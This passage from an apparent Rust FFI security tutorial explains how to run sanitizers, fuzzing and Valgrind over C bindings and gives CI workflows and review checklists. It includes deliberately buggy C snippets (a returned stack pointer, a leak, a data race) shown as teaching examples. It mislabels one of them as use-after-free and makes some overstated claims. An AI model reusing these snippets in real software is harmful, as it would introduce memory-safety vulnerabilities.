let state_ptr = &mut *state as *mut CallbackState as *mut c_void;
unsafe {
register_callback(rust_callback, state_ptr);
}
// ⚠️ CRITICAL: Keep state alive until callback is unregistered!
std::mem::forget(state); // Or use proper RAII
}
Sanitizers: MANDATORY for FFI Security
⚠️ CRITICAL: Sanitizers are not optional for FFI code—they are mandatory for security assurance.
Unlike pure Rust code where the compiler catches most bugs, FFI code requires runtime verification. Sanitizers are your only defense against memory corruption in C code.
Why Sanitizers are Mandatory for FFI
| Without Sanitizers | With Sanitizers |
|---|---|
| ❌ Memory corruption goes undetected | ✅ Immediate crash with stack trace |
| ❌ Use-after-free causes random crashes | ✅ Precise error location |
| ❌ Buffer overflows corrupt data silently | ✅ Caught at point of overflow |
| ❌ Data races cause intermittent bugs | ✅ Detected reliably |
| ❌ Bugs found in production (or never) | ✅ Bugs found in testing |
Mandatory Sanitizer Usage
For ALL FFI code, you MUST:
- Run tests with AddressSanitizer (ASan) - Catches memory corruption
- Run tests with LeakSanitizer (LSan) - Catches memory leaks
- Run tests with ThreadSanitizer (TSan) - Catches data races (if multi-threaded)
- Run tests with MemorySanitizer (MSan) - Catches uninitialized memory (if using unsafe)
- Run tests with UndefinedBehaviorSanitizer (UBSan) - Catches undefined behavior
AddressSanitizer (ASan) - Most Critical
Detects:
- Buffer overflows
- Use-after-free
- Use-after-return
- Use-after-scope
- Double-free
- Memory leaks (with LSan)
Usage:
# Enable AddressSanitizer
export RUSTFLAGS="-Z sanitizer=address"
export ASAN_OPTIONS="detect_leaks=1:abort_on_error=1"
# Run tests
cargo +nightly test --target x86_64-unknown-linux-gnu
# Run specific FFI tests
cargo +nightly test --target x86_64-unknown-linux-gnu ffi_tests
Example bug ASan catches:
// C code with use-after-free
char* get_string() {
char buffer[100];
strcpy(buffer, "Hello");
return buffer; // ❌ Returns pointer to stack memory!
}
extern "C" {
fn get_string() -> *const c_char;
}
#[test]
fn test_get_string() {
unsafe {
let ptr = get_string();
let s = CStr::from_ptr(ptr); // ❌ Use-after-free!
println!("{:?}", s);
}
}
// Without ASan: Might work, might crash, might corrupt memory
// With ASan: Immediate error with stack trace:
// ERROR: AddressSanitizer: stack-use-after-return
// READ of size 1 at 0x7fff12345678
// #0 in CStr::from_ptr
// #1 in test_get_string
LeakSanitizer (LSan) - Memory Leak Detection
Detects:
- Memory leaks in C code
- Leaked FFI resources
- Forgotten
free()calls
Usage:
# Enable LeakSanitizer (included with ASan)
export RUSTFLAGS="-Z sanitizer=address"
export ASAN_OPTIONS="detect_leaks=1"
cargo +nightly test --target x86_64-unknown-linux-gnu
Example leak LSan catches:
// C code with memory leak
void* allocate_data() {
void* ptr = malloc(1024);
// ❌ Forgot to document that caller must free!
return ptr;
}
extern "C" {
fn allocate_data() -> *mut c_void;
}
#[test]
fn test_allocate() {
unsafe {
let ptr = allocate_data();
// ❌ Forgot to free!
}
}
// LSan output:
// Direct leak of 1024 byte(s) in 1 object(s) allocated from:
// #0 in malloc
// #1 in allocate_data
// #2 in test_allocate
ThreadSanitizer (TSan) - Data Race Detection
Detects:
- Data races in C code
- Concurrent access without synchronization
- Race conditions
Usage:
# Enable ThreadSanitizer
export RUSTFLAGS="-Z sanitizer=thread"
cargo +nightly test --target x86_64-unknown-linux-gnu
Example race TSan catches:
// C code with data race
static int counter = 0;
void increment() {
counter++; // ❌ Data race!
}
extern "C" {
fn increment();
}
#[test]
fn test_concurrent() {
let handles: Vec<_> = (0..10)
.map(|_| {
std::thread::spawn(|| unsafe {
increment(); // ❌ Data race in C code!
})
})
.collect();
for h in handles {
h.join().unwrap();
}
}
// TSan output:
// WARNING: ThreadSanitizer: data race
// Write of size 4 at 0x7fff12345678 by thread T1:
// #0 increment
// Previous write of size 4 at 0x7fff12345678 by thread T2:
// #0 increment
MemorySanitizer (MSan) - Uninitialized Memory
Detects:
- Use of uninitialized memory
- Padding bytes read
- Uninitialized function arguments
Usage:
# Enable MemorySanitizer (requires instrumented stdlib)
export RUSTFLAGS="-Z sanitizer=memory"
cargo +nightly test --target x86_64-unknown-linux-gnu
UndefinedBehaviorSanitizer (UBSan)
Detects:
- Signed integer overflow
- Null pointer dereference
- Misaligned pointer access
- Out-of-bounds array access
Usage:
# Enable UBSan
export RUSTFLAGS="-Z sanitizer=undefined"
cargo +nightly test --target x86_64-unknown-linux-gnu
CI/CD Integration (Mandatory)
GitHub Actions example:
name: FFI Sanitizers
on: [push, pull_request]
jobs:
address-sanitizer:
name: AddressSanitizer
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
- uses: actions-rs/toolchain@v1
with:
toolchain: nightly
override: true
- name: Run tests with ASan
run: |
export RUSTFLAGS="-Z sanitizer=address"
export ASAN_OPTIONS="detect_leaks=1:abort_on_error=1"
cargo +nightly test --target x86_64-unknown-linux-gnu
thread-sanitizer:
name: ThreadSanitizer
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
- uses: actions-rs/toolchain@v1
with:
toolchain: nightly
override: true
- name: Run tests with TSan
run: |
export RUSTFLAGS="-Z sanitizer=thread"
cargo +nightly test --target x86_64-unknown-linux-gnu
leak-sanitizer:
name: LeakSanitizer
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
- uses: actions-rs/toolchain@v1
with:
toolchain: nightly
override: true
- name: Run tests with LSan
run: |
export RUSTFLAGS="-Z sanitizer=leak"
cargo +nightly test --target x86_64-unknown-linux-gnu
Sanitizer Best Practices
1. Run ALL sanitizers in CI:
- ASan (always)
- LSan (always)
- TSan (if multi-threaded)
- MSan (if using unsafe extensively)
- UBSan (always)
2. Fix ALL sanitizer errors:
- Don’t ignore or suppress errors
- Every error is a potential security vulnerability
- Treat sanitizer failures as test failures
3. Combine with fuzzing:
# Fuzz with AddressSanitizer
cargo +nightly fuzz run --sanitizer address ffi_target
# Fuzz with all sanitizers
for san in address leak memory thread; do
cargo +nightly fuzz run --sanitizer $san ffi_target -- -max_total_time=300
done
4. Use in local development:
# Add to your shell profile
alias cargo-test-asan='RUSTFLAGS="-Z sanitizer=address" cargo +nightly test --target x86_64-unknown-linux-gnu'
alias cargo-test-tsan='RUSTFLAGS="-Z sanitizer=thread" cargo +nightly test --target x86_64-unknown-linux-gnu'
# Run before committing
cargo-test-asan
cargo-test-tsan
Valgrind as Fallback
If sanitizers don’t work on your platform, use Valgrind:
# Install valgrind
sudo apt-get install valgrind
# Run tests with valgrind
cargo build --release
valgrind --leak-check=full --show-leak-kinds=all \
--track-origins=yes --verbose \
./target/release/your_binary
# For tests
cargo test --no-run
valgrind --leak-check=full \
./target/debug/deps/your_test-*
Key Takeaways
Sanitizer Rules for FFI:
- Sanitizers are MANDATORY - Not optional, not “nice to have”
- Run in CI - Every commit must pass sanitizers
- Fix all errors - Zero tolerance for sanitizer failures
- Combine with fuzzing - Sanitizers + fuzzing find most bugs
- Test on all platforms - Bugs may be platform-specific
Critical Rule: If your FFI code hasn’t been tested with sanitizers, it’s not production-ready. Period.
Security Rule: Shipping FFI code without sanitizer testing is negligent. Memory corruption bugs in FFI are the #1 source of security vulnerabilities in Rust projects.
Troubleshooting Guide
Problem: Undefined Behavior
Solution:
- Validate all inputs
- Check pointer validity
- Verify memory lifetimes
- Use AddressSanitizer (mandatory)
- Use MemorySanitizer (for uninitialized memory)
- Use UndefinedBehaviorSanitizer
Problem: Memory Leaks
Solution:
- Properly implement Drop
- Verify all allocations freed
- Use RAII patterns
- Use LeakSanitizer (mandatory)
- Test with valgrind (if sanitizers unavailable)
Problem: Data Races
Solution:
- Use ThreadSanitizer (mandatory for multi-threaded FFI)
- Add Rust-side synchronization
- Document thread-safety assumptions
- Test concurrent access
Real-World Case Study
Case Study: Secure FFI wrapper for legacy C library
Challenges:
- Unsafe C API
- Complex memory management
- Error handling inconsistencies
Solution:
- Safe Rust wrapper
- Input validation
- RAII for resources
- Comprehensive error handling
Results:
- Eliminated memory safety issues
- Improved error handling
- Maintained performance
- Easier to use API
FAQ
Q: When should I use FFI?
A: Use FFI when:
- No Rust alternative exists
- Need specific C/C++ library
- System API required
- Legacy code integration needed
Q: How do I ensure FFI safety?
A:
- Validate all inputs
- Check pointer validity
- Use safe wrappers
- Test extensively
- Audit unsafe code
Code Review Checklist for Rust FFI Security
Safety Boundaries
- All unsafe FFI calls wrapped in safe interfaces
- Input validation before FFI calls
- Output validation after FFI calls
- No raw pointers exposed in public API
Memory Safety
- Proper lifetime management for FFI data
- No use-after-free in FFI code
- Proper memory cleanup (free/dealloc)
- Bounds checking for all buffer operations
Error Handling
- FFI errors properly converted to Rust errors
- Null pointer checks before dereferencing
- Error codes properly handled
- Proper error propagation
Testing
- FFI code has comprehensive tests
- Test with invalid inputs
- Test error conditions
- Use address sanitizer for FFI code
Documentation
- Safety invariants documented
- FFI function contracts documented
- Memory ownership documented
- Thread-safety documented
Conclusion
FFI enables Rust to interact with C/C++ code but requires careful attention to safety. Use safe wrappers, validate inputs, maintain safety boundaries, and always use sanitizers.
Critical FFI Security Checklist
Before shipping FFI code, verify:
- Threat model understood - Know what can go wrong
-
bindgenused - Auto-generated bindings (not manual) - All structs use
#[repr(C)]- ABI compatibility - Compile-time size assertions - Verify struct layout
- Platform-specific types used -
c_int,c_long, noti32/i64 - Thread safety documented -
Send/Syncdecisions explained - Reentrancy handled - Callbacks have guards
- Sanitizers run in CI - ASan, LSan, TSan (mandatory)
- Fuzzing implemented - FFI boundaries fuzzed
- All inputs validated - Before FFI calls
- All outputs validated - After FFI calls
- Safe wrappers created - No
unsafein public API - Tested on all platforms - 32-bit, 64-bit, ARM
- Documentation complete - Safety invariants, ownership, thread-safety
Action Steps
1. Understand the Threat Model:
- Read “FFI Threat Model” section
- Understand what attackers can exploit
- Plan defense-in-depth
2. Use Code Generation:
- Use
bindgenfor C → Rust bindings - Use
cbindgenfor Rust → C headers - Reduces manual errors
3. Create Safe Wrappers:
- Wrap all
unsafeFFI in safe interfaces - Validate inputs before FFI calls
- Validate outputs after FFI calls
4. Handle Thread Safety:
- Document thread-safety assumptions
- Use
!Send/!Syncwhen uncertain - Add Rust-side locking if needed
- Test with ThreadSanitizer
5. Test Exhaustively:
- Run sanitizers (mandatory):
- AddressSanitizer (ASan)
- LeakSanitizer (LSan)
- ThreadSanitizer (TSan)
- MemorySanitizer (MSan)
- UndefinedBehaviorSanitizer (UBSan)
- Fuzz FFI boundaries
- Test on all target platforms
- Test concurrent access
6. Document Everything:
- Safety invariants
- Ownership rules (who frees what)
- Thread-safety guarantees
- Reentrancy assumptions
- Platform-specific behavior
Next Steps
- Study FFI best practices in production code
- Learn about advanced
bindgenfeatures - Explore async FFI patterns (callbacks, futures)
- Practice with real C libraries
- Read “The Rustonomicon” (unsafe Rust guide)
- Contribute to FFI wrapper crates (learn from experts)
Related Topics
Remember: FFI bypasses Rust’s safety guarantees. Always wrap unsafe FFI code in safe interfaces and validate thoroughly.
Cleanup
Click to view commands
# Clean up FFI bindings and test artifacts
rm -rf target/
rm -f bindings.rs
rm -f *.so *.dylib *.dll
# Clean up any test files
find . -name "*_ffi_test*" -delete
Validation: Verify no FFI artifacts or test files remain in the project directory.